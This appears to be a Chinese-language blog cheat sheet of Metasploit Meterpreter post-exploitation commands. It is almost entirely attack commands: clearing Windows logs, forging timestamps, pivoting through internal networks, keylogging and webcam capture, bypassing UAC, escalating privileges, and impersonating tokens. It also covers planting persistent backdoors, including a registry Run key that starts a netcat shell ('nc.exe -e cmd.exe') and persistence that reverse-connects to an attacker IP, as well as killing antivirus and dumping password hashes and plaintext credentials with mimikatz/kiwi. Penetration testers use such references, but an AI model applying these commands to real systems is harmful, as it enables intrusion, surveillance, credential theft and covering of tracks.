Metasploit meterpreter 篇

一、系统命令

1.基本命令

sessions -i #进入会话 -k#杀死会话
background  #将当前会话放置后台
run  #执行已有模块
getuid  #查看权限
getpid  #查看当前进程的pid
sysinfo  #查看系统信息
ps  #查看当前活跃进程n
shell #进入目标cmd shell

2.摄像头命令

webcam_list  #查看摄像头
webcam_snap  #通过摄像头拍照
webcam_stream  #通过摄像头开启视频

如果系统不存在摄像头的话就会报错

开启摄像头会弹出一个web网页,进行远程观看,但是我在我的服务器上利用ssh连接测试没有浏览器,所以会报错,照片保存在一定路径,直接去下载查看也是一样的,会有提示。

3.系统命令

execute -H -i -f cmd.exe     #创建新进程cmd.exe,-H不可见,-i交互

如何不加 -H 对方主机会出现一个黑框cmd

还有-m 是在内存中运行

4.进程迁移

getpid    # 获取当前进程的pid
ps       # 查看当前活跃进程
migrate <pid值>    #将Meterpreter会话移植到指定pid值进程中
kill <pid值>   #杀死进程

注入到explorer进程里面 对方主机重启后还是会系统反弹shell

5.清除日志

clearev #清除windows中的应用程序日志、系统日志、安全日志,需要管理员权限

二、文件系统命令

1.基本文件系统命令

getwd 或者 pwd         # 查看当前工作目录  
ls
cd
cat C://Users//dayu//Desktop//dayu.txt      # 查看文件内容
upload /root/Desktop/test-dayu.txt C://Users//dayu//Desktop      # 上传文件到目标机上
download C://Users//dayu//Desktop//dayu.txt /root/Desktop/        # 下载文件到本机上
edit C://Users//dayu//Desktop//1.txt         #会进入编辑模式,编辑或创建文件,没有的话,会新建文件
rm C://Users//dayu//Desktop//1.txt    #删除文件
mkdir lltest2          #只能在当前目录下创建文件夹
rmdir lltest2         #只能删除当前目录下文件夹
getlwd  或者 lpwd   #操作攻击者主机 查看当前目录
lcd /tmp               #操作攻击者主机 切换目录

2.伪造时间戳

timestomp -v C:/phpStudy/manual.chm       #查看时间戳
timestomp C://2.txt -f C://1.txt         #将1.txt的时间戳复制给2.txt

3.搜索文件

search -f *dayu*.exe      #全局搜索dayu.exe这个文件

4.映射端口

portfwd add -l 6666 -p 3389 -r 127.0.0.1     #将目标机的3389端口转发到本地6666端口
rdesktop 127.0.0.1:6666        #kali远程桌面使用6666端口

5.添加路由

扫描整个目标内网

run autoroute -s 10.10.10.0/24  #添加到目标环境网络
run autoroute –p                  #查看添加的路由
run post/windows/gather/arp_scanner RHOSTS=10.10.10.0/24 #扫描整个段存活主机
run auxiliary/scanner/portscan/tcp RHOSTS=10.10.10.2 PORTS=3389    #检查IP是否开放3389

6.socks4a代理

之前有一篇博客讲到,汇总了代理的几种方法

三、信息收集

/usr/share/metasploit-framework/modules/post/windows/gather
/usr/share/metasploit-framework/modules/post/linux/gather

解释:
run post/windows/gather/checkvm #是否虚拟机
run post/linux/gather/checkvm #是否虚拟机
run post/windows/gather/forensics/enum_drives     #查看分区
run post/windows/gather/enum_applications         #获取安装软件信息
run post/windows/gather/dumplinks               #获取最近的文件操作
run post/windows/gather/enum_ie                  #获取IE缓存
run post/windows/gather/enum_chrome               #获取Chrome缓存
run post/windows/gather/enum_patches      #补丁信息
run post/windows/gather/enum_domain      #查找域控

四、提权

1.getsystem

1、getsystem创建一个新的Windows服务,设置为SYSTEM运行,当它启动时连接到一个命名管道。
2、getsystem产生一个进程,它创建一个命名管道并等待来自该服务的连接。
3、Windows服务已启动,导致与命名管道建立连接。
4、该进程接收连接并调用ImpersonateNamedPipeClient,从而为SYSTEM用户创建模拟令牌。

2.bypassuac

有下面四个模块

use exploit/windows/local/bypassuac
use exploit/windows/local/bypassuac_injection
use windows/local/bypassuac_vbs
use windows/local/ask

例如:

msf > use exploit/windows/local/bypassuac
msf > set SESSION 5            #选择当前会话
msf > run

3.内核提权

可先利用enum_patches模块收集补丁信息,然后查找可用的exploits进行提权,需要退出当前连接

meterpreter > run post/windows/gather/enum_patches  #查看补丁信息
msf > use exploit/windows/....            #利用未打补丁的模块即可
msf > set SESSION 5
msf > exploit

五、远程桌面

enumdesktops      #查看可用的桌面
getdesktop        #获取当前meterpreter 关联的桌面
set_desktop       #设置meterpreter关联的桌面  -h查看帮助
screenshot      #截屏
use espia          #或者使用espia模块截屏  然后输入screengrab
run vnc          #使用vnc远程桌面连接,这方法有点问题,上传了exe但是启动不了
run post/windows/manage/enable_rdp  #开启远程桌面
run post/windows/manage/enable_rdp USERNAME=test PASSWORD=123456 #添加用户
run post/windows/manage/enable_rdp FORWARD=true LPORT=9998  #将3389端口转发到9998

六、键盘记录

keyscan_start      #开始键盘记录
keyscan_dump       #导出记录数据
keyscan_stop     #结束键盘记录

七、设置开机启动

1.注册表

upload /root/Desktop/nc64.exe C://Users//dayu//Desktop     #上传nc,前面的是你要上传文件的位置
reg enumkey -k HKLM\software\microsoft\windows\currentversion\run   #枚举run下的key
reg setval -k HKLM\software\microsoft\windows\currentversion\run -v lltest_nc -d 'C://Users//dayu//Desktop//nc.exe -Ldp 443 -e cmd.exe' #设置键值
reg queryval -k HKLM\software\microsoft\windows\currentversion\Run -v lltest_nc   #查看键值

nc -v 192.168.0.142 443  #攻击者连接nc后门
2.persistence
run persistence –h  #查看帮助
run persistence -X -i 5 -p 4444 -r 192.168.175.145
#-X指定启动的方式为开机自启动,-i反向连接的时间间隔(5s) –r 指定攻击者的ip

可看到在目标机的C:UsersdayuAppDataLocalTempebagFvdP.vbs下建立了vbs文件,开机会启动这个文件上面的vbs文件…

监听写反弹时间间隔是5s 端口是443 Metasploit服务器Ip是192.168.175.145。

缺点是容易被杀毒软件查杀!

3.metsvc自动安装后门
run metsvc –h   # 查看帮助
run metsvc –A   #自动安装后门

可看到自动在C:UsersdayuAppDataLocalTempccNTBztKL生成三个文件,并把Meterpreter自动放在服务自启中

set payload windows/metsvc_bind_tcp
并把port设置31337端口即可...连接

八、令牌操控

use incognito            #进入incognito模式
help incognito          #查看帮助
list_tokens -u            #查看可用的token
impersonate_token 'NT AUTHORITYSYSTEM'      #假冒SYSTEM token,或者用下面的
#impersonate_token NT AUTHORITY\SYSTEM     #不加单引号 需使用\
execute -f cmd.exe -i –t                    # -t 使用假冒的token执行或者直接shell
rev2self           #返回原始token

九、关闭杀软

meterpreter> run killav //这个脚本要小心使用,可能导致目标机器蓝屏死机

十、抓取密码

run hashdump
run windows/gather/smart_hashdump
run windows/gather/credentials/windows_autologin //有时候会有自动登陆的密码

load mimikatz
//使用mimikatz

这里本来是要利用mimikatz进行密码获取的,但是发现现在kiwi把mimikatz包含进去了…

报错解释又得回归到kiwi原理上:

kiwi模块同时支持32位和64位的系统,但是该模块默认是加载32位的系统,所以如果目标主机是64位系统的话,直接默认加载该模块会导致很多功能无法使用。所以如果目标系统是64位的,则必须先查看系统进程列表,然后将meterpreter进程迁移到一个64位程序的进程中,才能加载kiwi并且查看系统明文。如果目标系统是32位的,则没有这个限制。

ps //查看进程
migrate 504 //随便进入一个进程
help wiki
creds_all //列举所有凭据
kiwi_cmd sekurlsa::logonpasswords //和mimika 功能一样

原文地址:https://www.cnblogs.com/trevain/p/14372141.html